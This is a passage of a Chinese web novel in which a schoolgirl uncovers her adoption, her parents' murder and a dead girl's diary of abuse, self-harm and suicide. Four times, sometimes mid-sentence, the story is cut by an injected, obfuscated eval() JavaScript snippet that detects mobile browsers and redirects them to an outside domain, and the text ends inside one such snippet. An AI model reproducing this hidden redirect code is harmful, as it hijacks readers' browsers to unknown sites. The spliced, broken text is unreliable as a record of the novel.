他轻叹了口气,在r和a之间画了个标记,插进个“r”: “再念一遍。” 我本来已经要闭上眼,被逼无奈,只能闷闷道: “embarrass……” 恍惚间,一种类似于既视感的东西袭击了我。 ——“embarrass,里面有两个r,两个s!说多少遍都记不住,胡灵灵,这么简单的东西你都错,你脖子上的东西是摆设吗!” ——“你是猪脑子吗?猪都会上树了,满分一百五,你数学怎么还考不过一百?” ——“为什么夜不归宿?别找借口,是不是跑去网吧通宵了?再这样你就去街上流浪!” 我下意识瑟缩了一下,露出惊惶之色。 奇怪,这些话,同桌一次也没对我说过。 可就像是刻在我的脑子里一样,连他说这句话时的神态都一清二楚。 同桌察觉到我的异样,笔尖一顿,侧头看我,神情带了些关切: “怎么了?” 我惊疑不定地看着他,强压下心中的不适: “没事。我,我困,想睡……” 他伸手,拍了拍我的发顶,力度柔和: “算了,看你今天困成这样,也没法复习了。睡吧。” 我望着他,嘴唇颤动几下,终于还是不确定地问: “你、你是不是以前有对我很不好过?” 同桌手中的笔掉在试卷上,他看我的眼神藏着深深的震撼。 就好像什么他极力掩藏的秘密,被我毫无征兆地挖掘出来,大白于天下。 和我发现他钱包夹层里那张照片时的表情一模一样。 我知道我这个问题可能离奇了点。 同桌一直以来对我都很好的,我知道。 虽然我们打打闹闹,但我们天下第一最最好。 他是我的小跟班,因为我掌握了他藏得最深的秘密。 他暗恋沈晓丽,被我看见他钱包里藏着沈晓丽的照片呢。 那是一张偷拍照—— 运动会那天,曹平祥代表班级参加扔铅球比赛。 闲杂人等都被拦在操场外面,我翻栏杆进去给曹平祥加油,正撞见担任运动会小记者的同桌举起相机,对准正在跳远的沈晓丽抓拍了一张。 阳光下,沈晓丽腾空跃起的矫健身姿像是一匹俊美羚羊,同桌这个小幸运鬼,正好拍到了那一幕。 唯一美中不足的是,我在他钱包夹层里看到这张照片的时候,瞥见背景是我跨在栏杆上的场面。 实在是太不雅了,让整张照片的意境都跌份了。 总之,总之,话说回来,同桌是不会对我不好的。 刚问完这个问题,我就发现了自己的愚蠢之处,赶紧起身想结束掉这个话题: “没事,我就随口一问,我困了,晚安。” 手腕被拽住了。 同桌抬头看我,眸光破碎,他的声音有些不稳: “如果,我是说如果,我对你不好呢?” 我不以为然,瘪瘪嘴: “能有多不好?” 他沉默片刻,望向我的眼睛,艰涩道: “如果,我,在你最需要帮助的时候,没有赶到你身边。我还因为一些误会……一直,对你恶语相向,欺负你,打压你,否定你……如果我这么对你,你……你会怎么做?” 我瞪大眼: “胖虎,你敢!?你要是真的有这样大的狗胆,我就把你对着沈晓丽照片打/飞机的事情告诉全班人,让你在池镇高中混不下去!” 他怔愣一瞬,苦笑低语: “是,我不敢。” 手腕上的力道松开了。 他说: “你好好休息,晚安。” …… 第二天凌晨四点,不,是半夜四点,我苦哈哈地被定好的闹钟吵醒,爬起来补作业。 等到五点半,保姆做好了早饭来叫我,我打着瞌睡,一边在试卷上鬼画符,一边往嘴里塞面包。 同桌没有出现。 直到快出发了,我才发现这件事,到处找他,还问了保姆,她指给我看同桌的房间,我敲门没有人应,索性直接推门进去。 入目就是刺眼的红。 我愣在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672073|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里,看到同桌手臂上满是鲜血,他熟练地用绷带包扎着伤口,正在咬断最后一截医用胶布。 听见我进来的声音,他抬眼看我,眼神有些虚,额头还渗着汗。 我听到自己说: “是……杀人凶手来找你了吗?还是,古神的诅咒?” 他垂眼,片刻后,才说: “是因果律的循环。” 听到这句话,对我的震撼不亚于看到六耳猕猴代替孙悟空去西天取经。 一向坚持无神论的同桌,居然向我的世界观妥协了! 我忍不住上前,弯腰摸了摸他的额头: “胖虎,你没事吧?真的被夺舍了?” 好在他的异常只持续了一瞬,下一刻,又恢复如常: “再磨蹭就迟到了。” 我立马跳了起来,转头叮嘱他: “我去帮你给老师请病假,就说你,你被车撞了?” 同桌抿唇,仰起脸看我,尽管看着很痛,却还是在笑: “你别去上学了,今天一天在家陪我吧。” 我立马从善如流: “好啊!” 照顾病患这个借口,真是我最喜欢的请假理由。 既不用我自己受伤,又可以不用上学。 他借了季野家的座机,给老师打了电话阐明请假原因。 好在他平时的好学生人设立得相当成功,即使没有家长的电话,也不会引起怀疑。 他的好学生光环也惠及了我。 直到请完假,我才有心思问他: “你这到底是怎么弄的?说实话,别糊弄我。” “你不是信这些?因果律什么的。”他倚在床头调笑。 我翻了个白眼: “我信,但我不傻。” “好,不傻。伤口是我不小心摔在菜刀上弄的,已经包扎好了,不用担心。” “你房间哪来的菜刀?又要怎么才能不小心摔在菜刀上?你这个借口跟不小心摔了一跤,黄瓜摔进□□里有什么区别!?”我不依不饶,咄咄逼人,“胖虎,你是不是有什么心事?有就说出来,咱俩凑一起还有解决不了的事儿吗?” 他安静地看着我,嘴角泛起轻浅弧度: “如果我说是,我被凶手盯上了呢?” “啊?那我怎么没听到一点动静?他逃走了吗?还是,还在屋子里?” 我突然警惕,四下环顾。 他忽然抬起没受伤的那只手,揉了揉我的头发,柔声道: “灵灵,骗你的。是我心情不好,就往胳膊上划了一刀,和别人没关系。” 我将信将疑: “以前怎么没见你有这爱好?你这一刀下去,高考就不能报宇航员了知不知道?” “……”他忍俊不禁,“我为什么要报宇航员?” “万一呢?”我捧着他的胳膊,“身上有了伤疤,很影响事业的!你是个大学霸,大学神,不能因为这点小事耽误前程。” 以往,他听我说这些话的时候,都没什么反应,但今天,他的表情却有些奇怪。 同桌垂下眼,很轻很轻地说: “我不要前程。” 我立刻给了他一拳: “放屁!” 我不上进,是因为我努力过了,没用,所以才半死不活地选择了做一条咸鱼。 但是他不可以浪费他的天赋! 他抓住我揍他的手,望进我眼睛里,神色认真: “灵灵,我说过,我会守着你的。” 12.怪物 【口口口(被划去)以为我夜不归宿是出去鬼混了。 上周末,周驰带着那群不良在放学回家的路上堵我,我用尽全力才摆脱他们。 我很害怕,求口口口陪我一起走,他看我的眼神却很冷。 他说: “我还有补习班,跟你不同路。你以为谁都跟你一样,天天就知道玩?” 我们小时候关系还很好的,可自从我爸妈收养了他之后,他就变得阴晴不定,对我也非常刻薄。 我不知道我做错了什么。 爸妈经常不在家,他对我什么态度,他们不可能知道。 我也想过打小报告,但是爸爸妈妈显然更相信他。 相信一个“好学生”,“好孩子”,“别人家的孩子”,不可能对我那么坏。 他在爸妈面前会给我夹菜,会给我买礼物。 可背地里,他却撕掉我的家庭作业,跟老师说是我不想做作业,收走我的零花钱,叫我在长身体的年纪吃不饱饭,在我的文具盒里放活蟑螂,放任我在全班同学面前嚎啕大哭。 他看着我吓哭的样子,没有像其他欺负我的男孩子一样哈哈大笑,只是觉得无趣地撇过脸去。 尽管觉得无趣,他却没有停止欺凌。 我不知道他为什么会变成这样。 如果我做错了,他可以告诉我的。 我可以改。 我好想念小时候的口口口哥哥。 人怎么可以变得这么快。 如果他能够变回原来的样子,我愿意付出任何代价。 这周末,爸妈又不在家。 接近凌晨,我浑身泥沙,衣不蔽体,颤抖着用钥匙打开家门。 他闻声从房间里出来,我没有开灯,只看到他黑色的剪影。 我听到他冰冷厌恶的声音: “再被我发现夜不归宿,你就死在外面算了。” 如果他细心一点,就能看到我颤抖的身体,还有破烂的衣衫。 可是他说完这句话,就转身回屋,拍上了门。 我松了口气,他没有发现我的狼狈。 可我又开始无法遏制地感到难过。 他没有发现我的狼狈。 口口口,如果我真的死在外面了,你会为今天说的话感到后悔吗? (以上划去,笔迹凌乱) ——《无名日记》】 …… 一眨眼就到了周五。 这一周都过得风平浪静,没有凶手,没有超自然现象,就像是暴风雨前的宁静。 我晃着腿坐在操场的单杠上,猴子一样挂在上面翻了个跟斗,倒挂金钟,在颠倒的世界里,视线里只能看到同桌的大腿: “你说这周过去,季野爸爸还会留我们在他家吗?” “不会了吧。消息已经放出去了,凶手却没有来找你,说明要么对方已经离开池镇了,要么对方确信自己的脸不会被看到,所以没必要冒险现身。” “胖虎,你的推测好无趣哦。就不能是对方知道我是主角,所以不敢来招惹我吗?” 我晃了晃,用双腿勾住单杠,双手挽起头发,不让它们落到地上。 “不早了,回家吗。” 他没回答,看了眼手表。 “回吧,保姆阿姨说今晚做了黄焖鸡呢!” “……就知道吃。” “你有意见?” “不敢有。” 我哼哼唧唧地腹部用力,弯腰抓住单杠,一翻身,利落着地,高举双手,开心: “十分!” 同桌很给面子地拍了拍手。 我高高兴兴地背着书包,边跟他讲着女生团体的小八卦,边并肩走出校门,忽然听到有人喊我名字。 周驰骑着一辆酷炫机车,风驰电掣嗡嗡作响地停在我俩面前,看向我: “胡灵灵,兜风去吗?我车后座给你坐!” 他后面还跟着一串不良,很眼熟,是上次在杂货店门口看到的那些。 我莫名其妙: “不去,我要回家吃晚饭了。” “大舅哥,灵灵借我一下呗?” 他又看向同桌。 “她不同意。还有别叫我大舅哥。” 同桌拉着我转身就走。 “别嘛,给个面子?” 周驰这句话刚落地,那群不良就骑着机车追了上来,堵在了我们的必经之路上。 同桌把我往后扒拉,侧头看向周驰: “你爸知道你跟他们混在一起吗?” 周驰无所谓地双腿点地,转动把手,一点一点地把机车挪到我们身边,拍了拍后座: “让胡灵灵上来,我就告诉你。” “没兴趣。放我们走。” 这是在校门口,周驰就敢公然围堵,很显然没把校方放在眼里。 同桌沉默片刻,忽然朝着校门口的警卫室大喊: “门卫,他们在敲诈勒索!” 好简单粗暴,好怂。 但好有效。 那尿频尿急的看门大爷这次在警卫室里,听到喊声,立刻抄起棍棒赶了出来: “谁敢在校门口欺负小同学?” 周驰刚想说“关你鸟事”,等看清大爷的脸之后就懵了。 我也懵了。 看同桌的表情,好像也挺懵的。 不是那个晚上尿频尿急老是不在岗的大爷,他可能被开除了,现在赶出来的是…… 我二叔。 好家伙,他跟我爸已经许多年不联系了,自从我爸一意孤行,放弃城里的高薪工作,到池镇成家立业以来,他俩见面就跟乌眼鸡似的,到最后连过年都不走动。 不过不走动归不走动,他私下里还是会给我寄吃的用的,我们偶尔也会写信交流,不过都是寄到学校里,说是不想被我爸发现。 做梦都想不到他居然会偷偷潜伏在我学校的门卫室。 能认出他,靠的还是信件里的照片。 二叔把棍棒舞得虎虎生风,而且专往机车排气管上敲,把一群少年敲得鬼哭狼嚎: “别!叔别敲!换个排气管很贵的!叔!” 再也没人敢给周驰撑场面,比来时更风驰电掣地溜了。 周驰骂骂咧咧,还想说些什么,见我二叔又举起了铁棍,赶紧掉头开车跑了。 二叔把人赶走后,偏头打量了一番同桌: “陈灵灵,他谁?” 我懵了: “陈灵灵是谁?” “你啊,不然呢?哦,你被收养之后改姓了?改成胡了?”他拄着铁棍,看了眼同桌,“他就是收养你的那户人家的——” “叔叔好。我和灵灵赶着回家吃饭,就不耽误您的时间了。” 同桌忽然开口,打断了我们的对话。 二叔又看了他一眼: “你——” 同桌拉着我头也不回地走了,我频频回首: “为什么他说我是被收养的?啊?什么意思?” 二叔还在后头喊: “灵灵,明天来找二叔,有东西给你!” 我又要回头,被同桌拽了一下: “别理他,伯父伯母欠他钱,肯定是追债来了。” “不是,你说清楚,为什么他说我是被收养的……” “老糊涂了。” “……你这样说是不是不太礼貌?而且我看他身子骨还硬朗,不至于老糊涂吧?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673964|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不说话了,接下来无论我问什么,他都不开口了。 疑团在我心中膨胀,快把我的心脏撑爆。 我感觉在我面前,好像有一个潘多拉魔盒。 而它就要打开了。 …… 【生物课老师讲过,如果父母都是O型血,那么子女必不可能是A型血。 所以,流产前的检查单上,写着我是A型血,这就证明,我不是爸爸妈妈的孩子。 我麻木地躺在冰冷的病床上,像被剜去珍珠的蚌母。 麻药效果褪去,小腹开始阵阵发疼。 如果我不是亲生的,那谁是? 口口口吗? 眼眶又开始发热。 是激素让我变得多愁善感了吗? 我感觉自己好像变成了一个怪物。 一个只会哭泣和怨恨的怪物。 拖着做完手术的身体回到家,口口口拿着放钱的铁盒子质问我: “这里面的钱去哪里了?” 那是我们的生活费,其实平时用不了那么多,他就都存了起来,里面还有他克扣我的零花钱。 平时我饿得再狠也不敢偷,因为他会变本加厉地报复我。 但这一次,我把里面的钱都拿光了。 为了做手术。 我平静地看着他,知道即将迎来怎样的愤怒。 我说: “可以明天再打我吗?我今天很不舒服。” 小腹被狠狠踹了一脚,我摔倒在地上,他居高临下,铁盒子砸在我耳边。 他说: “小时候就敢偷东西,长大了是不是就敢杀人了?” 我蜷着身子发抖,被他的“杀人”二字晃得头晕目眩。 我好像杀过人。 杀过的啊。 我不是个好孩子。 我偷窃,说谎,杀人。 我甚至,不是爸爸妈妈的孩子。 我是…… 不被期待的孩子。 深渊之底裂开地缝。 原以为此处就是地狱。 可我向更深处坠落。 …… 高考快到了。 肚子还是很疼。 比痛经还要难受。 医生说如果一个月之后月经没来,还要去医院复查。 可最近高考复习很紧张,我过于劳累的时候,月经也容易不准。 而且,我没有时间去复查。 我想考出这里。 走得远远的。 离开池镇,离开口口口。 可是我失败了。 ——《无名日记》】 …… “胡灵灵,你生理期是不是快到了。” 晚上,同桌正在给我辅导作业,冷不丁来了这一句。 “啊?”我正咬着笔杆子,思考怎么从一堆乱七八糟的辅助线里看出来立体几何的面积,几乎被同桌这个问题问懵了,不满道,“你别打断我思路。” “一会儿我给你讲题,你先去把卫生巾垫上。”同桌说着从我书包里掏出一包没拆封的卫生巾,推到我面前。 我嘟囔道: “你怎么比我还上心。” “弄脏了裤子还得人家保姆给你洗。” “哎呀我怎么可能这么干,肯定是我自己洗。” 我磨磨蹭蹭进了卫生间,换好后走出来,继续做题,到了晚上十点多,突然身体一僵,发现我真的来了姨妈。 “胖虎……你是不是我肚子里的蛔虫?你怎么知道得这么精确?” 我有些惊奇。 同桌视线有些飘忽,几秒后,低头圈出我一个拼写错误,云淡风轻道: “没什么。碰巧罢了。” 13.好痛 第二天是周末,本来没必要去学校,但我记挂着二叔说有东西要交给我,天蒙蒙亮就醒了,忍不住起身准备出门。 同桌正在客厅餐桌上吃早餐,季野爸爸则站在玄关,看着要出门的样子。 “你要去哪?” 他看到我背着小书包。 “去一趟学校,拿东西。” “我送你。” 他这句话反而让我惊讶了一下: “你出门不是有事要办吗?不麻烦你了。” “这个周末,如果凶手还不现身,我就必须放弃亲自追这个案子了。”季野爸爸转过身,站在玄关处等我,“剩下两天,你和我一起行动。” 我下意识看向同桌,他眉头皱得很紧: “我也去。” 说着把吃了一半的早餐撂下了。 半小时后,我和同桌顶着迷蒙天光,从季野爸爸低调的奥迪上下来,站在学校门口。 我一直以为他这个级别开的应该是迈巴赫、卡宴、劳斯莱斯幻影那样的豪车,出行都有司机接送,没想到居然是奥迪,而且还得当我和同桌的司机。 可能这就是……嗯……大道至简。 踏着稀疏蝉鸣,我敲响了值班室的门。 值班室后头有个小小的休息室,门卫平时就在这里休息。 我不知道二叔住在哪里,所以他如果说要给我东西,今天肯定会在。 过了几秒,门上玻璃后头映出阴影,二叔的脸出现在敞开的门扉后。 近看真人我才发觉,他真的跟我爸长得一点都不像。 大概这就是龙生九子的意思? 他看到我身后跟着同桌,更远处停着辆车,没说什么,把我们迎了进去。 值班室里,门卫大爷的东西还没来得及搬走,应该是被开除得太匆忙。 我开门见山: “二叔,你说要给我的东西呢?” 他边转身往后头休息室走,边打趣道: “这么久没见面,你就这一句?” 我心情复杂,没回他。 二叔在我心里是个既陌生又熟悉的长辈,一个笔友,如今活生生站在我面前,就好像你追了很久的二次元角色突然从纸上跳出来跟你打招呼。 就挺别扭的。 二叔很快折返,也不在意我的沉默,把一个纸箱捧到我面前: “这是你爸妈结婚之前存放在我这里的东西,说他们那边稳定下来就让我寄给他们,不过后来我们闹翻了,我就骗他们说这些东西都给我扔了。现在物归原主。” 我接过箱子,有些沉,里面不知道装了什么,一摇还有些晃荡。 同桌从我手里拿走箱子,轻轻松松捧在手上: “谢谢叔叔帮忙保管。我们就先走了。” “陈灵灵。”二叔突然叫住我。 我回头,看到他的表情严肃阴沉,周身凝重气势有如实质: “你要记得,你姓陈,不姓胡。” 我还在发懵,被同桌揪着肩膀推走了。 走出门卫室一段距离后,我停下脚步,抬头看他: “胖虎,其实当年被收养的不是你,是我,死掉的也不是你父母,而是我父母,对不对?” 只有这个推测,能合上至今为止所有的疑点。 为什么他们从来不给我看家里的户口本。 为什么我和同桌的家长会,他们从来不参加。 为什么,二叔会叫我陈灵灵。 同桌没说话,腮帮咬得有些紧,片刻后,率先移开视线: “东西拿到了,回去吧。” 季野爸爸又开车把我们送回了家,这一来一去,耽搁了他快一个小时的功夫,送我们回家后,他换了鞋就不打算出门了,直接钻进书房,说要电话会议,叫我们别打扰他。 我思来想去,还是抱着纸箱钻进了胖虎的房间,霸占了他的床沿,让他把收养的事情说清楚。 他坐在书桌前,转椅转了半圈,面向我,叙述的语气平淡如水,像是在说别人的故事: “爸妈其实没有收养你,他们只是供你读书生活。我爸……之前因为一些事情,留了案底,他怕影响你的前途,就没让你上我家户口本。” 我对最后一句倒是没什么想法,倒是很好奇: “他犯了什么事?” 同桌迟疑片刻,只说: “我不知道。” 肯定是骗人的。 从小到大,我问同桌的所有问题,都有答案,不管是考题,还是考题之外的东西。 他就像个全知全能的神一样,甚至最近还有了预言能力,能准确得知一些他本不该知道的情报。 我觉得他应该是跟我一样觉醒超能力了——我就说他长着一张主角脸,但他爱面子,不肯说。 要是说了,就会被周围人当成跟我一样奇奇怪怪的神经病了。 考虑到他的自尊心,我决定当作不知道,拍了拍纸箱: “你要不要跟我一起拆封?” “这些都是你父母的东西,你应该单独看。” 我按住心口,沉默片刻才说: “胖虎,其实我没有看上去那么淡定。我有点怕。那句话怎么说来着,近乡——” “好。” 他起身,应该是想去文具盒里拿裁纸刀,但是走到一半又换了方向,往厨房走去。 我好奇,翻了翻他的文具盒,发现他的裁纸刀不见了。 后知后觉地猜测,是不是上次他所谓的“心情不好,往胳膊上划了一刀”,就是用的那把刀? 可惜我好久没翻他文具盒了,也不知道那把裁纸刀什么时候不见的。 片刻后,他拿着一把水果刀走进来,一点一点,将纸箱上的胶带割开。 我和他一人一边,把箱盖打开,在窥见箱内物件的那一刻,我脑中嗡响,怔在那里,直到同桌当机立断地将盖子合上,捂住我的眼睛,声音发颤: “别看。” 我安静地坐在床边,一动没动,很乖巧地垂着眼睫,像个没有生命的人偶。 他盖住我的眼,于是我什么也看不见了。 但视网膜是有记忆的。 所以我依然能“看到”刚刚箱子里的景象。 那是两个大罐子,里面注满液体,浸泡着两颗头颅。 …… 【再见到口口(划去),他交给了我一个大箱子,让我找个没有人的地方再打开。 他一直给我寄钱和吃的,让我在口口口的克扣下不至于饿死。 所以我相信他。 他说,箱子里还有一封信,看完信,我就能明白前因后果了。 他说得没错。 所有的一切,都对上了。 严丝合缝。 为什么口口口对我那么差,甚至诅咒我去死。 因为我才是鸠占鹊巢的那一个。 那是我父母的头颅啊! 不用亲子鉴定,我们无比相似的脸就是最有力的证据。 所以,日日夜夜困扰我的噩梦,是真实发生过的事情。 那一夜,我和口口口不是在他家玩过家家。 是在我家。 死掉的不是他的父母。 是我的父母。 只要我也死掉,那桩谋杀案就会被永远封存,不见天日。 口口口,确实是真心实意地想要我死。 所以…… 我怎么会觉得那晚他一直不睡是在等我回家!? 我怎么会觉得他偶尔流露的不忍是因为言不由衷!? 我怎么会觉得,我们之间,还能回到过去!? 万丈深渊之下。 最后一根蜘蛛丝,迸然断裂。 无止境地坠落。 …… 口口口接受完清北招生办老师招待,傍晚回来的时候,我和爸妈都在家。 我搬来椅子坐在客厅正中间,右手按了按肚子。 那里的绞痛曾经在过去的日日夜夜刺透神经,叫我晕厥在了高考考场上。 倒下的瞬间,我听到羽翼被折断的声音。 清脆的,咔擦一声。 是无形但真切存在于我身上的某样东西,被折断了。 但如今,我奇异地一点都感觉不到疼了。 就好像疼痛已经与我融为一体,成为我本身,经由我的身体,向四周蔓延。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687579|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈坐在地毯上,背靠沙发,裹在毯子里,闭着眼睛,依偎在一起。 夕阳余晖从窗外斜照进来,给他们的侧脸镀上一层暖色光辉。 这是一个被蝉鸣、热风和回收旧冰箱、洗衣机、旧家电的叫卖声浸染的傍晚。 和过往的每个寻常傍晚一样。 口口口开门进来,看向二人,面露疑惑,看我的眼神不善: “他们怎么睡在地上?” 我对着他缓缓绽开一个笑: “哥哥。轮到你了。” (之后笔迹凌乱破碎,几乎看不分明,纸张上有大片喷溅状血迹,最后一句字迹歪斜,被血液和泪水浸透。) 我失败了,我心软了。 所以我如他所愿死掉了。 只有我一个人,孤零零死掉了。 我害怕他,恐惧他,他的声音和触碰都让我颤栗。 可我到最后,还是想做个好孩子。 我知道,我该替爸爸妈妈报仇的。 可……可他们回来的时候,还给我带了我最爱吃的油淋鸡。 他们还说…… 对不起。 我好希望,不知道这一切真相。 我好希望,我能做个坏孩子。 我好希望,当年死掉的人,是我。 好痛啊。 我没有了爸爸妈妈。 我不能,让他也没有爸爸妈妈。 啊啊啊…… 肚子好痛啊。 好痛啊。 ——《无名日记》】 …… 我睁开眼的时候,卧室里点着一盏小灯。 我蜷在被子里,同桌坐在床边地上,一只手握住我渗着冷汗的手掌,在我睁开眼的瞬间看过来: “醒了?” 我看着他,有些迷糊,反应了几秒才想起来,是痛经。 你说巧不巧,就在看到箱子里的东西之后,我因为痛经昏倒了。 小腹处还在抽痛,像是有八百台挖掘机,被蓝翔延毕的叉车实习生师傅指挥着在我腹部施工。 我的眼神不能聚焦,连手指都没有力气,不想说话。 同桌像是明白我想干什么一样,站起身: “我去给你拿止痛药。” 我躺在床上,看着他离去的背影,像是被鬼压床了一样,无法动弹。 以前我也会痛经,但没有今天这么严重。 我思考片刻,觉得大概是前几天吃烧烤作的。 我喝了三瓶冰的弹珠汽水呢! 到今天才开始痛,算是身体很给我面子了。 不一会儿,同桌折返,端着一杯热水,右手捧着药片,扶我起来之后,喂我服下。 药效要发作,还需要一段时间。 我靠在他的肩膀上,鼻端萦绕着他身上清爽的香味。 那是一种混杂着薄荷味沐浴露和洗发水的,肌肤的香味,很难形容,但很好闻。 同桌把我的手包在手掌里,另一只手隔着层睡衣,轻轻按揉我的小腹,一时间谁都没有说话。 掌心温度略高,不知道是不是时间太短,我总感觉没什么效果,那里还是冰凉一片地疼。 我低头看着他的手掌,忽然叫了他一声: “胖虎。” “嗯?” “女生为什么要来姨妈?” “……这个你可以去问生物老师。” “哦。” 他过了一会儿,在我耳边小声问: “还是疼吗?” 我恹恹地点头: “就像被人踹了一样疼。” 他按揉的手掌明显一僵,接着用很轻的声音道: “别胡说。没有人踹你。” “我知道。”我胡乱点头,“我就是,打个比方,你知道我总是有很多奇妙的比喻。我们学文的人是这样的。” 他握着我手的手掌紧了紧,哑声道: “嗯。” 又过了一会儿,我在疼痛和发疯之间选择了睡觉。 呼吸变得轻浅绵长。 迷迷糊糊中感觉到头顶落下一个轻柔的吻。 他说: “再不会了。” 14.饥饿 一周过去,很快就到了我们和季野爸爸约定的时间,关于杀人凶手的调查,还是没有任何进展。 他在离开池镇之前,向我透露了一些只有警察才知道的细节,叫我注意留意身边是否有人知道这些,如果有,随时联系他,还给我留了他的电话号码: “根据警察的现场勘验,季野的后脑虽然有被子弹击中的痕迹,但是却找不到子弹的存在,甚至在现场既没有枪声,也没有弹壳残留。在伤口附近,也验不到硝烟反应。” “就这,还不能认定是超自然事件吗?”我愕然,并且跃跃欲试,“是不是马上就要有隐在黑暗中的侦探团要出马了!打败邪恶势力就靠超能力侦探团了!” 季野爸爸对我的说辞不予评价: “总之,如果看到可疑的人,记得给我打电话。” “哦,好。” 我乖乖接过他递给我的红包。 虽然不知道他为什么觉得我肯定有线索,但钱嘛,不收白不收,而且我也不是不给他办事。 捏了捏,好厚一叠,赶得上我一个学期的学费了。 同桌在一旁静静站着,季野爸爸也要给他递红包,却被他拒绝了。 他反而好像比季野爸爸还要上心: “如果你那边有新消息,也希望你能和我同步。” “可以。” 季野爸爸答应得非常爽快,就好像提前说好了一样。 离开季野家时,同桌立刻叮嘱我: “那些话以后不要对任何人说。不会有人相信的。” 我撇嘴: “那你倒是用科学解释解释啊?” 他抿唇,片刻后: “他肯定是被人杀害的,而且对方没有超能力。” “你怎么知道?什么样的杀人犯能让自己完全从现场消失?什么样的杀人犯能不留痕迹地取下子弹?而且季野爸爸还告诉我说,他的情况和不久前岩边死掉的那个不良少年一样,都是现场没有找到凶器。” ——是的,岩边那起案件,凶器还没有找到。 季野爸爸透露了一点,说死者,也就是不良团体中的一员,是被尖锐针状物扎死的,不是小刀,凶器没找到,很可能是被带走处理掉了。 所以其实他之前用小刀威胁同桌的话,都是吓他的。 那把刀可能只是去野餐的人丢弃的水果刀,因为上面检测不出血液反应。 更早之前的那起“吓死”案件,我出于好奇,也问了季野爸爸,他却说跟这两起案件没有关系,对方是酒后失足坠崖溺死的,只不过被发现时在海上漂了许久,尸体已经出现了狰狞的巨人观,才被人以讹传讹,传得神乎其神。 很好,又一个超自然现象被否定了。 我讨厌这个唯物主义的世界。 我一路上叽叽喳喳地跟同桌说着关于季野之死、不良之死的猜测,他却兴致不高,好像一直在思考着什么。 我撇嘴,觉得没意思,也不说话了。 片刻后,也许是发现背景音不见了,他回过神,驻足问我: “怎么不说了?” 我哼了一声: “我说了你又不听。算了,不说了。” “我在听的。你说死在岩边的那名死者,凶器可能是冰锥,杀完人就融掉了。但是现在是夏天,要保存冰锥,让它不化掉,还要在杀人时保持尖锐弧度,不太现实。” “哦……”我嘟囔道,“那就是空气箭,嗖一下远距离杀人,这样季野的死也有定论了,肯定不是子弹,是看不见的箭!不然怎么会没有硝烟反应,也没有子弹壳?” 同桌见我兴致勃勃,也不再跟我争论这些推论的对错,只是顺着我的话道: “空气箭的技术还没问世。而且弹道专家查看了伤口,确认就是枪伤,凶器有可能是小口径鸟枪,这个东西在国内是违禁品,抓到就要判刑,但有不法分子会从国外高价走私回来。至于子弹壳和硝烟反应……” 他说到这里含糊起来,没有继续往下说。 “真是越盘越奇怪。”我嘀咕,“不对,你怎么知道弹道专家怎么说?季野他爸又没讲。” “讲了,你没注意。” 他面不改色。 “哦……” 也许我那时候沉浸在自己的推测里,漏了季野爸爸的一两句话也说不定。 既然同桌说是,那就是吧。 …… 那之后的日子也一如既往,季野爸爸因为工作调动又离开了,季野死亡的案子被压在警察局待侦破,还是能经常看到警察出入我们学校还有小吃街,但是什么最新进展都没有,所有新闻和报纸都跟死了一样。 有季野这样涉及枪支的案子在前面,就连死在岩边的那名不良少年都没人追究了。 对方是个孤儿,打小就开始混社会,坑蒙拐骗无一不精,据说是不良少年团体里唯一一个身上背了人命的—— 听说他把好人家女孩的肚子搞大过,被发现后,对方跳楼自杀了,他一点事都没有。 女孩父亲拿着刀来找他,反而因为故意伤人罪,被判了几年,听闻此事的人无不摇头,对他咬牙切齿,又无可奈何。 如今他被杀,路人只会拍手称快,巴不得这案子永远都不要侦破。 总之,没有人会为他的死伤心。 我和同桌一片风平浪静地复习备考,老师也开启了正式的高考倒计时。 我的成绩有了一点点起色,但也只是一点点,距离本一线还有不少差距,可能勉勉强强能够上个本二。 越接近高考,同桌就越紧张,我不明白他在紧张些什么,用老师的说法,以他现在的成绩,就算他高考发挥大失败,也能考上个末流985。 “灵灵,你要不再努力一下,考个本一看看。” 他第101次这样对我说。 “这事不是我努力就能成的啊。” 我趴在桌上愁眉苦脸。 我就是搞不懂那些弯弯绕的数学逻辑,不明白为什么能用尺子量出来的角度,一定要我列公式证明。 我就是记不住26个英文字母拼凑起来的排列组合,搞不懂主谓宾定状表补,阅读理解在我眼里就是一堆情报局的特工在用乱码交流。 化学反应永远配不平,物理力学更是把牛顿的公式按在地上摩擦。 只有语文、政治、历史和生物,这些靠死记硬背能拿基础分的科目,可以让我稍微提点分。 凄惨的是,就算算上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 